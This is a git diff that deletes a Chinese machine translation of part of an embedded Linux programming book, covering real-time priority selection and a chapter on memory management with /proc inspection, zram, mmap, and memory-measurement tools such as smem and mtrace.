限制的线程会花费大量时间被阻塞,并且手头总是有一些空闲的权限。 当它们被解锁时,它们将几乎立即被安排。 同时,受 CPU 限制的线程自然会占用任何剩余的 CPU 周期。 正值可以应用于不太重要的线程,负值可以应用于较重要的线程。 - -当然,这只是一种普通的行为;不能保证永远都是这样。 如果需要更多确定性行为,则需要实时策略。 将线程标记为实时的事情如下所示: - -* 它有一个最后期限,必须在此之前生成输出。 -* 错过最后期限将损害该系统的有效性。 -* 它是事件驱动的。 -* 它不受计算机限制。 - -实时任务的例子包括经典的机械臂伺服控制器、多媒体处理和通信处理。 我将在后面的[*第 21 章*](21.html#_idTextAnchor600),*实时编程*中讨论实时系统设计。 - -## 选择实时优先级 - -选择适用于所有预期的工作负载的实时优先级是一项棘手的业务,也是首先避免实时策略的一个很好的理由。 - -最广泛使用的选择优先级的程序称为**率单调分析**(**RMA**),取自刘和莱兰 1973 年的论文。 它适用于具有周期线程的实时系统,这是一个非常重要的类。 每个线程都有一个周期和一个利用率,这是它将执行的周期的比例。 目标是平衡负载,以便所有线程都能在下一个周期之前完成它们的执行阶段。 RMA 指出,如果发生以下情况,则可以实现此目标: - -* 最高优先级授予周期最短的线程。 -* 总利用率不到 69%。 - -总利用率是所有单项利用率的总和。 它还假设线程之间的交互或阻塞在互斥锁上的时间等可以忽略不计。 - -# 摘要 - -Linux 和随附的 C 库中内置了悠久的 Unix 传统,它几乎提供了编写稳定、有弹性的嵌入式应用所需的一切。 问题是,对于每一份工作来说,至少有两种方法可以实现你想要的目标。 - -在本章中,我重点介绍了系统设计的两个方面:将进程划分为独立的进程,每个进程有一个或多个线程来完成任务,以及调度这些线程。 我希望我对这一点有所了解,并为你们进一步研究这些问题提供了基础。 - -在下一章中,我将研究系统设计的另一个重要方面: -内存管理。 - -# 进一步阅读 - -以下资源提供了有关本章中介绍的主题的更多信息: - -* *The Art of Unix Programming*,Eric Steven Raymond 著 -* *Linux 系统编程*,*第二版*,Robert Love 著 -* *Linux 内核开发*,*第三版*,Robert Love 著 -* *The Linux Programming Interface*,Michael Kerrisk 著 -* *UNIX 网络编程,第 2 卷:进程间通信*,*第二版*,W.Richard Stevens 著 -* *用 POSIX 线程编程*,David R.Butenhof 著 -* *硬实时环境中多道程序设计的调度算法*,刘春林和 James W.Layland,《ACM 杂志》,1973,第 20 卷,第 1 期,第 46-61 页 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/18.md b/docs/master-emb-linux-prog/18.md deleted file mode 100644 index d166c413..00000000 --- a/docs/master-emb-linux-prog/18.md +++ /dev/null @@ -1,707 +0,0 @@ -# 十八、管理内存 - -本章讨论与内存管理相关的问题,这对于任何 Linux 系统都是一个重要的主题,尤其是对于嵌入式 Linux,因为在嵌入式 Linux 中,系统内存通常是有限的。 在简要回顾了一下虚拟内存之后,我将向您展示如何度量内存使用情况、如何检测内存分配问题(包括内存泄漏)以及内存用完时会发生什么情况。 您必须了解可用的工具,从简单的工具(如`free`和`top`)到复杂的工具(如`mtrace`和 Valgrind)。 - -我们将了解内核和用户空间内存之间的区别,以及内核如何将内存的物理页面映射到进程的地址空间。 然后,我们将定位并读取`proc`文件系统下各个进程的内存映射。 我们将了解如何使用`mmap`系统调用将程序的内存映射到文件,以便它可以批量分配内存或与另一个进程共享内存。 在本章的后半部分,我们将使用`ps`测量每个进程的内存使用情况,然后再使用更精确的工具,如`smem`和`ps_mem`。 - -在本章中,我们将介绍以下主题: - -* 虚拟内存基础知识 -* 内核空间内存布局 -* 用户空间内存布局 -* 进程内存映射 -* 交换 / 适合交换的东西 / 互惠信贷 / 交换之物 -* 用`mmap`映射内存 -* 我的应用使用多少内存? -* 每进程内存使用量 -* 识别内存泄漏 -* 内存不足 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 安装了`gcc`、`make`、`top`、`procps`、`valgrind`和`smem`的基于 Linux 的主机系统 - -所有这些工具都可以在大多数流行的 Linux 发行版(如 Ubuntu、Arch 等)上使用。 - -本章的所有代码都可以在本书 GitHub 存储库的`Chapter18`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 虚拟内存基础知识 - -简单地说,Linux 配置了 CPU 的**内存管理单元**(**MMU**),以向 32 位处理器上运行的 progRAM 提供一个虚拟地址空间,该内存从零开始,以最高地址`0xffffffff`结束。 默认情况下,此地址空间分为 4 KiB 的页面。 如果 4 KiB 页对于您的应用来说太小,则可以将内核配置为使用**HugePages**,从而减少访问页表项所需的系统资源量,并增加**转换后备缓冲器**(**TLB**)的命中率。 - -Linux 将这个虚拟地址空间划分为应用的区域(称为**用户空间**)和内核的区域(称为**内核空间**)。 两者之间的分割由名为`PAGE_OFFSET`的内核配置参数设置。 在典型的 32 位嵌入式系统中,`PAGE_OFFSET`是`0xc0000000`,将较低的 3 GB 分配给用户空间,将最高的 1 GB 分配给内核空间。 用户地址空间是为每个进程分配的,因此每个进程都运行在一个沙箱中,与其他进程分开。 所有进程的内核地址空间都是相同的,因为只有一个内核。 - -此虚拟地址空间中的页面由 MMU 映射到物理地址,MMU 使用页表执行映射。 - -虚拟内存的每一页可以按如下方式取消映射或映射: - -* 未映射,因此尝试访问这些地址将导致`SIGSEGV`。 -* 映射到进程私有的物理内存页。 -* 映射到与其他进程共享的物理内存页。 -* 映射和与**写入时复制**(**COW**)标志集共享:写入被困在内核中,它生成页面的副本并将其映射到进程,以代替原始页面,然后允许写入发生。 -* 映射到内核使用的物理内存页。 - -内核还可以将页面映射到保留的存储器区域,例如以访问设备驱动程序中的寄存器和存储器缓冲区。 - -一个明显的问题是这:为什么我们要这样做,而不是像典型的 RTOS 那样直接引用物理内存? - -虚拟内存有许多优点,下面将介绍其中一些优点: - -* 捕获无效的存储器访问,并由`SIGSEGV`向应用发出警报。 -* 进程在自己的内存空间中运行,与其他进程隔离。 -* 通过共享公共代码和数据(例如,在库中)有效地使用内存。 -* 虽然在嵌入式目标上进行交换的可能性很小,但通过添加交换文件来增加物理内存量的可能性很小。 - -这些都是有力的论据,但我必须承认也有一些缺点。 很难确定应用的实际内存预算,这是本章主要关注的问题之一。 默认的分配策略是过度提交,这会导致棘手的内存不足情况,我将在后面的*内存不足*小节中讨论这一点。 最后,内存管理代码在处理异常(页面错误)时引入的延迟降低了系统的确定性,这对实时程序很重要。 我将在[*第 21 章*](21.html#_idTextAnchor600),*实时编程*中介绍这一点。 - -内核空间和用户空间的内存管理是不同的。 接下来的几节描述了本质区别和您需要知道的事情。 - -# 内核空间内存布局 - -内核内存以一种相当简单的方式进行管理。 它不是按需分页的,这意味着对于使用`kmalloc()`或类似函数的每个分配,都有实际的物理内存。 内核内存永远不会被丢弃或调出。 - -某些体系结构在内核日志消息中显示引导时内存映射的摘要。 此跟踪来自 32 位 ARM 设备(Beaglebone Black): - -```sh -Memory: 511MB = 511MB total -Memory: 505980k/505980k available, 18308k reserved, 0K highmem -Virtual kernel memory layout: - vector : 0xffff0000 - 0xffff1000 ( 4 kB) - fixmap : 0xfff00000 - 0xfffe0000 ( 896 kB) - vmalloc : 0xe0800000 - 0xff000000 ( 488 MB) - lowmem : 0xc0000000 - 0xe0000000 ( 512 MB) - pkmap : 0xbfe00000 - 0xc0000000 ( 2 MB) - modules : 0xbf800000 - 0xbfe00000 ( 6 MB) - .text : 0xc0008000 - 0xc0763c90 (7536 kB) - .init : 0xc0764000 - 0xc079f700 ( 238 kB) - .data : 0xc07a0000 - 0xc0827240 ( 541 kB) - .bss : 0xc0827240 - 0xc089e940 ( 478 kB) -``` - -可用 505980 KiB 的数字是内核在开始执行但在开始进行动态分配之前看到的空闲内存量。 - -内核空间内存的使用者包括: - -* 内核本身,换句话说,即引导时从内核映像文件加载的代码和数据。 这在前面的内核日志`.text`、`.init`、`.data`和`.bss`中显示。 段一旦内核完成初始化,`.init`段就会被释放。 -* 通过板片分配器分配的内存,用于各种内核数据结构。 这包括使用`kmalloc()`进行的分配。 他们来自标有**LOW MEM**的区域。 -* 通过`vmalloc()`分配的内存,通常用于比通过`kmalloc()`可用的内存块更大的内存块。 它们位于**vmalloc**区域。 -* 设备驱动程序访问属于各种硬件位的寄存器和内存的映射,您可以通过读取`/proc/iomem`来查看。 这些内存也来自**vmalloc**区域,但是因为它们被映射到主系统内存之外的物理内存,所以它们不会占用任何实际内存。 -* 内核模块,加载到标记为**模块**的区域。 -* 在其他任何地方都未跟踪的其他低级别分配。 - -既然我们已经了解了内核空间中的内存布局,让我们来了解一下内核实际使用了多少内存。 - -## 内核使用多少内存? - -不幸的是,对于内核使用了多少内存的问题,没有的确切答案,但下面是我们所能得到的最接近的答案。 - -首先,您可以在前面所示的内核日志中查看内核代码和数据占用的内存,也可以使用`size`命令,如下所示: - -```sh -$ arm-poky-linux-gnueabi-size vmlinux -text data bss dec hex filename -9013448 796868 8428144 18238460 1164bfc vmlinux -``` - -通常,与内存总量相比,内核为此处显示的静态代码和数据段占用的内存量很小。 如果不是这样,您需要检查内核配置并删除不需要的组件。 一项允许构建被称为**Linux Kernel Tinalization**的小内核的努力一直在取得良好进展,直到该项目陷入停滞,Josh Triplett 的补丁最终在 2016 年从`linux-next`树中删除。 现在,要减少内核的内存大小,最好的办法是**就地执行**(**xip**),用内存换取闪存([https://lwn.net/Articles/748198/](https://lwn.net/Articles/748198/))。 - -您可以通过阅读`/proc/meminfo`获取有关内存使用的更多信息: - -```sh -# cat /proc/meminfo -MemTotal: 509016 kB -MemFree: 410680 kB -Buffers: 1720 kB -Cached: 25132 kB -SwapCached: 0 kB -Active: 74880 kB -Inactive: 3224 kB -Active(anon): 51344 kB -Inactive(anon): 1372 kB -Active(file): 23536 kB -Inactive(file): 1852 kB -Unevictable: 0 kB -Mlocked: 0 kB -HighTotal: 0 kB -HighFree: 0 kB -LowTotal: 509016 kB -LowFree: 410680 kB -SwapTotal: 0 kB -SwapFree: 0 kB -Dirty: 16 kB -Writeback: 0 kB -AnonPages: 51248 kB -Mapped: 24376 kB -Shmem: 1452 kB -Slab: 11292 kB -SReclaimable: 5164 kB -SUnreclaim: 6128 kB -KernelStack: 1832 kB -PageTables: 1540 kB -NFS_Unstable: 0 kB -Bounce: 0 kB -WritebackTmp: 0 kB -CommitLimit: 254508 kB -Committed_AS: 734936 kB -VmallocTotal: 499712 kB -VmallocUsed: 29576 kB -VmallocChunk: 389116 kB -``` - -手册页`proc(5)`上有对每个字段的说明。 内核内存使用量是以下各项的总和: - -* `Slab`:分片分配器分配的总内存 -* `KernelStack`:执行内核代码时使用的堆栈空间 -* `PageTables`:用于存储页表的内存 -* `VmallocUsed`:`vmalloc()`分配的内存 - -在片分配的情况下,您可以通过读取`/proc/slabinfo`来获取更多信息。 同样,**vmalloc**区域在`/proc/vmallocinfo`中的分配也有细分。 在这两种情况下,您都需要了解内核及其子系统的详细知识,才能确切了解哪个子系统正在进行分配以及为什么进行分配,这超出了本文的讨论范围。 - -对于模块,您可以使用`lsmod`来查找代码和数据占用的内存空间: - -```sh -# lsmod -Module Size Used by -g_multi 47670 2 -libcomposite 14299 1 g_multi -mt7601Usta 601404 0 -``` - -这就留下了没有记录的低级别分配,这阻止了我们生成内核空间内存使用的准确帐户。 当我们将我们所知道的所有内核和用户空间分配加在一起时,这将显示为缺少内存。 - -测量内核空间内存使用情况很复杂。 `/proc/meminfo`中的信息有些有限,`/proc/slabinfo`和`/proc/vmallocinfo`提供的附加信息很难解释。 用户空间通过进程内存映射提供了更好的内存使用情况可见性。 - -# 用户空间内存布局 - -Linux 对用户空间采用了一种惰性的分配策略,仅在程序访问时映射物理内存页面。 例如,使用`malloc(3)`分配 1 MiB 的缓冲区会返回指向内存地址块的指针,但不会返回实际物理内存。 在页表条目中设置标志,使得内核捕获任何读或写访问。 这称为,即**页错误**。 只有在这一点上,内核才会尝试查找一页物理内存,并将其添加到进程的页表映射中。 用一个简单的程序`MELP/Chapter18/pagefault-demo`来演示这一点是值得的: - -```sh -#include -#include -#include -#include -#define BUFFER_SIZE (1024 * 1024) -void print_pgfaults(void) -{ - int ret; - struct rusage usage; - ret = getrusage(RUSAGE_SELF, &usage); - if (ret == -1) { - perror("getrusage"); - } else { - printf("Major page faults %ld\n", usage.ru_majflt); - printf("Minor page faults %ld\n", usage.ru_minflt); - } -} -int main(int argc, char *argv[]) -{ - unsigned char *p; - printf("Initial state\n"); - print_pgfaults(); - p = malloc(BUFFER_SIZE); - printf("After malloc\n"); - print_pgfaults(); - memset(p, 0x42, BUFFER_SIZE); - printf("After memset\n"); - print_pgfaults(); - memset(p, 0x42, BUFFER_SIZE); - printf("After 2nd memset\n"); - print_pgfaults(); - return 0; -} -``` - -当运行它时,您将看到如下输出: - -```sh -Initial state -Major page faults 0 -Minor page faults 172 -After malloc -Major page faults 0 -Minor page faults 186 -After memset -Major page faults 0 -Minor page faults 442 -After 2nd memset -Major page faults 0 -Minor page faults 442 -``` - -在初始化程序环境后遇到 172 个小页面错误,在调用`getrusage(2)`时又遇到了 14 个小页面错误(这些数字将根据您使用的 C 库的体系结构和版本的不同而有所不同)。 重要的部分是在内存中填满数据时的增加:442-186=256。 缓冲区为 1MiB,即 256 页。 第二次调用`memset(3)`没有什么不同,因为现在所有页面都已映射。 - -如您所见,当内核捕获对尚未映射的页面的访问时,会生成页面错误。 实际上,有两种页面错误:`minor`和`major`。 如果出现一个小故障,内核只需找到一页物理内存并将其映射到进程地址空间,如前面的代码所示。 当虚拟内存被映射到文件时,例如,使用`mmap(2)`(我将稍后描述),就会发生重大的页面错误。 从这个内存中读取意味着内核不仅要找到一页内存并将其映射进去,还必须用文件中的数据填充它。 因此,主要故障在时间和系统资源方面的成本要高得多。 - -虽然`getrusage(2)`提供了关于 -进程内的次要和主要页面错误的有用度量,但有时我们真正希望看到的是进程的总体内存 map。 - -# 进程内存映射 - -在用户空间中运行的每个进程都有一个我们可以检查的进程映射。 这些内存映射告诉我们程序的内存是如何分配的,以及它链接到哪些共享库。 - -您可以通过`proc`文件系统查看进程的内存映射。 作为示例,下面是`init`进程 PID`1`的映射: - -```sh -# cat /proc/1/maps -00008000-0000e000 r-xp 00000000 00:0b 23281745 /sbin/init -00016000-00017000 rwxp 00006000 00:0b 23281745 /sbin/init -00017000-00038000 rwxp 00000000 00:00 0 [heap] -b6ded000-b6f1d000 r-xp 00000000 00:0b 23281695 /lib/libc-2.19.so -b6f1d000-b6f24000 ---p 00130000 00:0b 23281695 /lib/libc-2.19.so -b6f24000-b6f26000 r-xp 0012f000 00:0b 23281695 /lib/libc-2.19.so -b6f26000-b6f27000 rwxp 00131000 00:0b 23281695 /lib/libc-2.19.so -b6f27000-b6f2a000 rwxp 00000000 00:00 0 -b6f2a000-b6f49000 r-xp 00000000 00:0b 23281359 /lib/ld-2.19.so -b6f4c000-b6f4e000 rwxp 00000000 00:00 0 -b6f4f000-b6f50000 r-xp 00000000 00:00 0 [sigpage] -b6f50000-b6f51000 r-xp 0001e000 00:0b 23281359 /lib/ld-2.19.so -b6f51000-b6f52000 rwxp 0001f000 00:0b 23281359 /lib/ld-2.19.so -beea1000-beec2000 rw-p 00000000 00:00 0 [stack] -ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors] -``` - -前两列显示开始和结束虚拟地址以及每个映射的权限。 权限如下所示: - -* `r`:读取 -* `w`:写入 -* ==同步,由 Elderman 更正==@ELDER_MAN -* `s`:共享 -* `p`:私有(写入时拷贝) - -如果映射与文件相关联,则文件名将显示在最后一列中,而第三、四和五列包含距文件开头的偏移量、数据块设备号和文件的信息节点。 大多数映射都指向程序本身及其链接的库。 程序可以在两个区域分配内存,标记为`[heap]`和`[stack]`。 使用 malloc 分配的内存来自前者(除了非常大的分配,我们将在后面讨论);堆栈上的分配来自后者。 这两个区域的最大大小由进程的`ulimit`控制: - -* **堆**:`ulimit -d`,默认为无限制 -* **堆栈**:`ulimit -s`,默认 8 MiB - -超出限制的分配将被`SIGSEGV`拒绝。 - -当内存耗尽时,内核可能决定丢弃映射到文件且为只读的页面。 如果再次访问该页,将导致严重的页错误,并从文件中读回该页。 - -# 交换 - -交换的想法是保留一些存储,内核可以在其中放置未映射到文件的内存页,从而释放内存用于其他用途。 它通过交换文件的大小增加物理内存的有效大小。 这不是灵丹妙药:向交换文件复制页面和从交换文件复制页面是有成本的,这一点在实际内存太少而无法承载工作负载的系统上变得明显,因此交换成为主要活动。 这有时称为,也称为**磁盘抖动**。 - -交换很少在嵌入式设备上使用,因为它在闪存上不能很好地工作,因为在闪存中持续写入会很快耗尽它。 但是,您可能需要考虑交换到压缩 RAM`(zram)`。 - -## 交换到压缩内存(Zram) - -**zram**驱动程序创建名为`/dev/zram0`、`/dev/zram1`等的基于 RAM 的块设备。 写入这些设备的页面在存储之前会被压缩。 当压缩比在 30%到 50%的范围内时,您可以预期空闲内存的总体增长约为 10%,但代价是更多的处理和相应的电力使用增加。 - -要启用 zram,请使用以下选项配置内核: - -```sh -CONFIG_SWAP -CONFIG_CGROUP_MEM_RES_CTLR -CONFIG_CGROUP_MEM_RES_CTLR_SWAP -CONFIG_ZRAM -``` - -然后,通过将以下内容添加到`/etc/fstab`,在引导时挂载 zram: - -```sh -/dev/zram0 none swap defaults zramsize=, -swapprio= -``` - -可以使用以下命令打开和关闭交换: - -```sh -# swapon /dev/zram0 -# swapoff /dev/zram0 -``` - -将内存换出到 zram 比换出到闪存要好,但这两种技术都不能替代足够的物理内存。 - -用户空间进程依赖内核来管理它们的虚拟内存。 有时,程序希望对其内存映射进行比内核所能提供的更大的控制。 有一个系统调用,它允许我们将内存映射到一个文件,以便从用户空间进行更直接的访问。 - -# 使用 mmap 映射内存 - -进程以映射到程序文件的**文本**(代码)和**数据**段的一定量的内存以及与其链接的共享库开始生命周期。 它可以在运行时使用`malloc(3)`在其堆上分配内存,并通过本地作用域变量和通过`alloca(3)`分配的内存在堆栈上分配内存。 它还可以在运行时使用`dlopen(3)`动态加载库。 所有这些映射都由内核负责。 但是,进程还可以使用`mmap(2)`以显式方式操作其内存映射: - -```sh -void *mmap(void *addr, size_t length, int prot, int flags, -int fd, off_t offset); -``` - -此函数使用文件中的`fd`描述符映射文件中的`length`字节内存(从文件中的`offset`开始),并返回指向映射的指针(假设映射成功)。 由于底层硬件是以页为单位工作的,因此将`length`四舍五入为最接近的整数页数。 保护参数`prot`是读取、写入和执行权限的组合,`flags`参数至少包含`MAP_SHARED`或`MAP_PRIVATE`。 还有许多其他标志,在`mmap`手册页中有描述。 - -使用`mmap`可以做很多事情。 我将在接下来的 -部分中展示其中的一些内容。 - -## 使用 mmap 分配私有内存 - -通过在`flags`参数中设置`MAP_ANONYMOUS`并将文件描述符`fd`设置为`-1`,可以使用`mmap`来分配私有内存区。 这与使用`malloc`从堆中分配内存类似,不同之处在于内存是按页对齐的,并且是以页的倍数为单位的。 内存分配在与存储库相同的区域中。 事实上,由于这个原因,这个区域被一些人称为`mmap`区域。 - -匿名映射更适合大型分配,因为它们不会用内存块限制堆,这会增加碎片的可能性。 有趣的是,您会发现`malloc`(至少在`glibc`中)停止从堆中为超过 128 KiB 的请求分配内存,并以这种方式使用`mmap`,因此在大多数情况下,只使用`malloc`是正确的做法。 系统将选择满足请求的最佳方式。 - -## 使用 mmap 共享内存 - -正如我们在[*第 17 章*](17.html#_idTextAnchor473),*了解进程和线程*中看到的那样,POSIX 共享内存需要`mmap`来访问内存段。 在本例中,设置`MAP_SHARED`标志并使用`shm_open()`中的文件描述符: - -```sh -int shm_fd; -char *shm_p; -shm_fd = shm_open("/myshm", O_CREAT | O_RDWR, 0666); -ftruncate(shm_fd, 65536); -shm_p = mmap(NULL, 65536, PROT_READ | PROT_WRITE, -MAP_SHARED, shm_fd, 0); -``` - -另一个进程使用相同的调用、文件名、长度和标志来映射到该内存区域进行共享。 当对内存的更新传递到底层文件时,对`msync(2)`的后续调用进行控制。 - -通过`mmap`共享内存也提供了一种直接的方式来读取和写入设备内存。 - -## 使用 mmap 访问设备内存 - -正如我在[*第 11 章*](11.html#_idTextAnchor329),*与设备驱动程序*接口中提到的,驱动程序可以允许其设备节点进行内存映射,并与应用共享一些设备内存。 具体的实现取决于驱动程序。 - -Linux 帧缓冲区`/dev/fb0`就是一个例子。 Xilinx Zynq 系列等 FPGA 也可以通过 Linux 的`mmap`作为内存进行访问。 帧缓冲区接口在`/usr/include/linux/fb.h`中定义,包括一个`ioctl`函数,用于获取显示器的大小和每个像素的位数。 然后,您可以使用`mmap`请求视频驱动程序与应用共享帧缓冲区,并读取和写入像素: - -```sh -int f; -int fb_size; -unsigned char *fb_mem; -f = open("/dev/fb0", O_RDWR); -/* Use ioctl FBIOGET_VSCREENINFO to find the display - dimensions and calculate fb_size */ -fb_mem = mmap(0, fb_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); -/* read and write pixels through pointer fb_mem */ -``` - -第二个例子是流视频接口,**Video 4 Linux,Version 2**或**V4L2**,它在`/usr/include/linux/videodev2.h`中定义。 每个视频设备都有一个名为`/dev/videoN`的节点,以`/dev/video0`开头。 有一个`ioctl`函数可以要求驱动程序分配一些您可以`mmap`到用户空间的视频缓冲区。 然后,这只是一个循环缓冲区并用视频数据填充或清空它们的问题,具体取决于您是在回放还是捕获视频流。 - -既然我们已经介绍了内存布局和映射,让我们从如何度量开始看内存使用情况。 - -# 我的应用使用多少内存? - -与内核空间一样,分配、映射和共享用户空间内存的不同方式使得回答这个看似简单的问题非常困难。 - -首先,您可以询问内核它认为有多少内存可用,这可以使用`free`命令来完成。 以下是输出的典型示例: - -```sh - total used free shared buffers cached -Mem: 509016 504312 4704 0 26456 363860 --/+ buffers/cache: 113996 395020 -Swap: 0 0 0 -``` - -乍一看,这似乎是一个几乎内存不足的系统,509,016 KiB 中只有 4,704 KiB 可用:不到 1%。 但是,请注意,26,456 KiB 在缓冲区中, -在缓存中有高达 363,860 KiB。 Linux 认为空闲内存是浪费的内存;内核使用空闲内存作为缓冲区和缓存,并知道它们可以在需要时缩小。 从测量中删除缓冲区和缓存可提供真正的空闲内存,为 395,020 KiB:占总内存的 77%。 使用`free`时,标记为`-/+ buffers/cache`的第二行上的数字是重要的。 - -您可以通过向 -`/proc/sys/vm/drop_caches`写入一个介于 1 和 3 之间的数字来强制内核释放缓存: - -```sh -# echo 3 > /proc/sys/vm/drop_caches -``` - -这个数字实际上是一个位掩码,它决定要释放两种主要类型的缓存中的哪一种:`1`用于页面缓存,`2`用于 Dentry 和 inode 缓存的组合。 由于`1`和`2`是不同的位,因此写入`3`将释放这两种类型的缓存。 这些缓存的确切角色在这里并不是特别重要,只是内核正在使用的内存可以在短时间内回收。 - -`free`命令告诉我们正在使用的内存和剩余的内存。 它既不会告诉我们哪些进程正在使用不可用的内存,也不会告诉我们使用的比例是多少。 要衡量这一点,我们需要其他工具。 - -# 每个进程的内存使用量 - -有几个度量标准可以衡量进程正在使用的内存量。 我将从最容易获得的两个开始:**虚拟集大小**(**VSS**)和**常驻内存大小**(**RSS**),这两个参数在`ps`和`top`命令的大多数实现中都可用: - -* **VSS**:在`ps`命令中称为 VSZ,在`top`中称为 VIRT,这是进程映射的内存总量 - 。 它是 - `/proc//map`中显示的所有区域的总和。 由于在任何时候只有部分虚拟内存被提交给物理内存,因此这个数字的意义是有限的。 -* **rss**:在`ps`中称为 rss,在`top`中称为 res,这是映射到内存的物理页的内存总和。 这更接近于进程的实际内存预算,但存在一个问题:如果添加所有进程的 RSS,则会高估正在使用的内存,因为某些页面将被共享。 - -让我们更多地了解`top`和`ps`命令。 - -## 使用 TOP 和 PS - -BusyBox 的版本`top`和`ps`提供的信息非常有限。 下面的示例使用`procps`包中的完整版本。 - -`ps`命令使用选项`-Aly`显示**VSS**`(VSZ)` **和 RSS**`(RSS)`,也可以使用包含`vsz`和`rss`的自定义格式,如下所示: - -```sh -# ps -eo pid,tid,class,rtprio,stat,vsz,rss,comm -PID TID CLS RTPRIO STAT VSZ RSS COMMAND -1 1 TS -Ss 4496 2652 systemd -[…] -205 205 TS -Ss 4076 1296 systemd-journal -228 228 TS -Ss 2524 1396 udevd -581 581 TS -Ss 2880 1508 avahi-daemon -584 584 TS -Ss 2848 1512 dbus-daemon -590 590 TS -Ss 1332 680 acpid -594 594 TS -Ss 4600 1564 wpa_supplicant -``` - -同样,`top`显示空闲内存和每个进程的内存使用情况摘要: - -```sh -top - 21:17:52 up 10:04, 1 user, load average: 0.00, 0.01, 0.05 -Tasks: 96 total, 1 running, 95 sleeping, 0 stopped, 0 zombie -%Cpu(s): 1.7 us, 2.2 sy, 0.0 ni, 95.9 id, 0.0 wa, 0.0 hi -KiB Mem: 509016 total, 278524 used, 230492 free, 25572 buffers -KiB Swap: 0 total, 0 used, 0 free, 170920 cached -PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND -595 root 20 0 64920 9.8m 4048 S 0.0 2.0 0:01.09 node -866 root 20 0 28892 9152 3660 S 0.2 1.8 0:36.38 Xorg -[…] -``` - -这些简单的命令让您感觉到内存使用情况,并在您看到进程的 RSS 保持 -不断增加时第一个指示您有内存泄漏。 但是,它们在内存使用的绝对度量方面并不十分准确。 - -## 使用 SMEM - -在 2009 年,MattMackall 开始研究进程内存测量中共享页面的记帐问题,并添加了两个新度量,称为**唯一集大小**,或**USS**和**比例集大小**,或**PSS**: - -* **USS**:这是提交给物理内存的内存量,对于一个进程是唯一的;它是,不与任何其他进程共享。 它是进程终止时将释放的内存量。 -* **pss**:这将在映射了共享页面的所有进程之间划分提交到物理内存的共享页面的记账。 例如,如果库代码区有 12 页长,并由六个进程共享,则每个进程将在 PSS 中累积两页。 因此,如果将所有进程的 PSS 编号相加,就会得到这些进程使用的实际内存量。 换句话说,PSS 就是我们一直在寻找的号码。 - -`/proc//smaps`中提供了有关 PSS 的信息,其中包含`/proc//maps`中显示的每个映射的附加信息。 下面是这样一个文件中的一节,它提供了有关`libc`代码段映射的信息: - -```sh -b6e6d000-b6f45000 r-xp 00000000 b3:02 2444 /lib/libc-2.13.so -Size: 864 kB -Rss: 264 kB -Pss: 6 kB -Shared_Clean: 264 kB -Shared_Dirty: 0 kB -Private_Clean: 0 kB -Private_Dirty: 0 kB -Referenced: 264 kB -Anonymous: 0 kB -AnonHugePages: 0 kB -Swap: 0 kB -KernelPageSize: 4 kB -MMUPageSize: 4 kB -Locked: 0 kB -VmFlags: rd ex mr mw me -``` - -请注意,RSS 是 264 KiB,但因为它在许多其他进程之间共享,所以 PSS 只有 6 KiB。 - -有一个名为**SMEM**的工具可以从`smaps`文件中整理信息, -以各种方式显示信息,包括饼图或条形图。 SMEM 的项目页面是[https://www.selenic.com/smem/](https://www.selenic.com/smem/)。 它在大多数桌面发行版中都是以软件包的形式提供的。 但是,因为它是用 Python 编写的,所以在嵌入式目标上安装它需要一个 Python 环境,这对于一个工具来说可能太麻烦了。 为此,有一个名为**smemcap**的小程序,它从目标系统上的`/proc`捕获状态,并将其保存到 tar 文件中,稍后可以在主机上分析该文件。 它是 BusyBox 的一部分,但也可以从`smem`源代码编译。 - -以`root`身份本机运行`smem`,您将看到以下结果: - -```sh -# smem -t -PID User Command Swap USS PSS RSS -610 0 /sbin/agetty -s ttyO0 11 0 128 149 720 -1236 0 /sbin/agetty -s ttyGS0 1 0 128 149 720 -609 0 /sbin/agetty tty1 38400 0 144 163 724 -578 0 /usr/sbin/acpid 0 140 173 680 -819 0 /usr/sbin/cron 0 188 201 704 -634 103 avahi-daemon: chroot hel 0 112 205 500 -980 0 /usr/sbin/udhcpd -S /etc 0 196 205 568 -[...] -836 0 /usr/bin/X :0 -auth /var 0 7172 7746 9212 -583 0 /usr/bin/node autorun.js 0 8772 9043 10076 -1089 1000 /usr/bin/python -O /usr/ 0 9600 11264 16388 --------------------------------------------------------------- -53 6 0 65820 78251 146544 -``` - -您可以从输出的最后一行看到,在本例中,PSS 总数约为 RSS 的一半 -。 - -如果您没有或不想在目标上安装 Python,则可以使用`smemcap`捕获状态,也可以使用`root`: - -```sh -# smemcap > smem-bbb-cap.tar -``` - -然后,将 tar 文件复制到主机并使用`smem -S`读取它,尽管这次不需要以`root`身份运行: - -```sh -$ smem -t -S smem-bbb-cap.tar -``` - -输出与我们在本地运行`smem`时获得的输出相同。 - -## 需要考虑的其他工具 - -另一种显示 PSs 的方法是通过**ps_mem**([https://github.com/pixelb/ps_mem](https://github.com/pixelb/ps_mem))显示,它打印大致相同的信息,但格式更简单。 它也是用 Python 编写的 -。 - -Android 还有一个工具,可以显示每个进程的 USS 和 PSS 摘要,名为**procran**,只需做一些小改动,就可以为嵌入式 Linux 交叉编译。 您可以从[https://github.com/csimmonds/procrank_linux](https://github.com/csimmonds/procrank_linux)获取代码。 - -我们现在知道如何测量每个进程的内存使用情况。 假设我们使用刚刚显示的工具 -来查找系统中占用大量内存的进程。 那么,我们如何 -深入该流程,以找出哪里出了问题? 这是下一节的主题。 - -# 识别内存泄漏 - -当分配了内存但不再需要时未释放时,就会发生内存泄漏。 内存泄漏绝不是嵌入式系统独有的,但它会成为一个问题,部分原因是目标一开始就没有太多内存,部分原因是它们经常在没有重启的情况下长时间运行,从而使泄漏成为 -个大水坑。 - -您会发现在运行`free`或`top`时会出现泄漏,并且会发现即使您删除缓存,空闲内存也会持续减少,如上一节所示。 您将能够通过查看每个进程的 USS 和 RSS 来识别罪魁祸首。 - -有几种工具可以识别程序中的内存泄漏。 我来看两个:`mtrace`和`valgrind`。 - -## mtrace - -**mtrace**是`glibc`的一个组件,它跟踪对`malloc`、`free`和相关的函数的调用,并标识程序退出时未释放的内存区域。 您需要从程序内部调用`mtrace()`函数来开始跟踪,然后在运行时将路径名写入写入跟踪信息的`MALLOC_TRACE`环境变量。 